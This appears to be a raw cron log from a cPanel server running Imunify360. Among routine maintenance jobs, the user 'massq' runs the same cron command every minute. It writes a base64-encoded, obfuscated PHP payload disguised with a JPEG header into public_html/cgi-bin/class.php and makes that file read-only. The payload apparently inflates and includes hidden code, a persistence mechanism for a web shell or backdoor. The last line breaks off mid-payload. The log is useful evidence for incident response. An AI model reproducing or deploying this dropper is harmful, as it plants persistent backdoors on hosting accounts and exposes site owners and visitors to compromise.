Sep  8 05:51:01 server CROND[11527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:52:01 server CROND[12001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:52:01 server CROND[12002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:52:01 server CROND[12003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:52:01 server CROND[12004]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  8 05:53:01 server CROND[12524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:53:01 server CROND[12525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:53:01 server CROND[12526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:54:01 server CROND[12904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:54:01 server CROND[12905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:54:01 server CROND[12906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:55:01 server CROND[13303]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 05:55:01 server CROND[13306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:55:01 server CROND[13305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:55:01 server CROND[13314]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:55:01 server CROND[13312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:55:01 server CROND[13315]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:55:02 server CROND[13313]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 05:56:01 server CROND[14199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:56:01 server CROND[14200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:56:01 server CROND[14201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:57:01 server CROND[14678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:57:01 server CROND[14679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:57:01 server CROND[14680]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 05:57:01 server CROND[14681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:58:01 server CROND[15056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:58:01 server CROND[15057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:58:01 server CROND[15058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:59:01 server CROND[15425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:59:01 server CROND[15426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:59:01 server CROND[15428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:00:01 server CROND[15829]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 06:00:01 server CROND[15831]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:00:01 server CROND[15839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:00:01 server CROND[15841]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 06:00:01 server CROND[15859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:00:01 server CROND[15860]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:00:01 server CROND[15858]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 06:00:01 server CROND[15856]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 06:00:01 server CROND[15854]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  8 06:00:01 server CROND[15862]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 06:00:01 server CROND[15855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:01:01 server CROND[16712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:01:01 server CROND[16711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:01:01 server CROND[16713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:01:01 server CROND[16714]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 06:01:01 server run-parts(/etc/cron.hourly)[16714]: starting 0anacron
Sep  8 06:01:01 server run-parts(/etc/cron.hourly)[16734]: finished 0anacron
Sep  8 06:02:01 server CROND[17199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:02:01 server CROND[17200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:02:01 server CROND[17201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:03:02 server CROND[17583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:03:02 server CROND[17584]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:03:02 server CROND[17585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkF